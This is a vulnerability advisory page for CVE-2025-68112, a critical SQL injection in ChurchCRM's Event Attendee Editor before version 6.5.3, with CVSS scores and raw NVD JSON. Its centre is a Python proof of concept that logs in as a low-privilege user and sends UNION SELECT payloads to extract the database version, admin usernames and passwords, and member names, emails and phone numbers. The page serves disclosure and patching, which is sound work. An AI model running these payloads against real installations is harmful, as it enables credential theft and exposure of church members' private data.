Security Vulnerability Report
中文
CVE-2025-68112 CVSS 9.6 CRITICAL

CVE-2025-68112

Published: 2025-12-17 22:16:01
Last Modified: 2025-12-18 18:28:01

Description

ChurchCRM is an open-source church management system. In versions prior to 6.5.3, a SQL injection vulnerability in ChurchCRM's Event Attendee Editor allows authenticated users to execute arbitrary SQL commands, leading to complete database compromise, administrative credential theft, and potential system takeover. The vulnerability enables attackers to extract sensitive member data, authentication credentials, and financial information from the church management system. Version 6.5.3 contains a patch for the issue.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:* - VULNERABLE
ChurchCRM < 6.5.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# ChurchCRM CVE-2025-68112 SQL Injection PoC # Target: ChurchCRM < 6.5.3 Event Attendee Editor # CVSS 9.6 (Critical) import requests import sys target = input("Enter target URL (e.g., http://churchcrm.local): ") # Step 1: Login with low-privilege account session = requests.Session() login_url = f"{target}/Login.php" login_data = { "UserName": "attacker", "Password": "password", "Submit": "Login" } response = session.post(login_url, data=login_data) print(f"[+] Login attempt: {response.status_code}") # Step 2: Extract database version vuln_url = f"{target}/EventAttendeeEditor.php" payload_db_version = "1' UNION SELECT 1,@@version,3,4,5-- " params = {"EventID": payload_db_version} response = session.get(vuln_url, params=params) print(f"[+] Database version extraction attempted") print(f"[+] Response length: {len(response.text)}") # Step 3: Extract admin credentials payload_admin = "1' UNION SELECT 1,CONCAT(username,':',password),3,4,5 FROM user_tbl WHERE role='admin' LIMIT 1-- " params = {"EventID": payload_admin} response = session.get(vuln_url, params=params) print(f"[+] Admin credential extraction attempted") # Step 4: Extract all member data payload_members = "1' UNION SELECT 1,CONCAT(firstname,'|',lastname,'|',email,'|',phone),3,4,5 FROM person_per-- " params = {"EventID": payload_members} response = session.get(vuln_url, params=params) print(f"[+] Member data extraction attempted") print(f"[!] Check response for leaked data") print("\n[*] PoC completed. Check application logs and response content.") print("[*] Recommendation: Upgrade to ChurchCRM 6.5.3 or later immediately.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68112", "sourceIdentifier": "[email protected]", "published": "2025-12-17T22:16:01.240", "lastModified": "2025-12-18T18:28:00.853", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. In versions prior to 6.5.3, a SQL injection vulnerability in ChurchCRM's Event Attendee Editor allows authenticated users to execute arbitrary SQL commands, leading to complete database compromise, administrative credential theft, and potential system takeover. The vulnerability enables attackers to extract sensitive member data, authentication credentials, and financial information from the church management system. Version 6.5.3 contains a patch for the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.5.3", "matchCriteriaId": "5B1435CA-1370-4154-85E0-6AF1846DEEBD"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-hxf4-3vhp-wqcq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-hxf4-3vhp-wqcq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}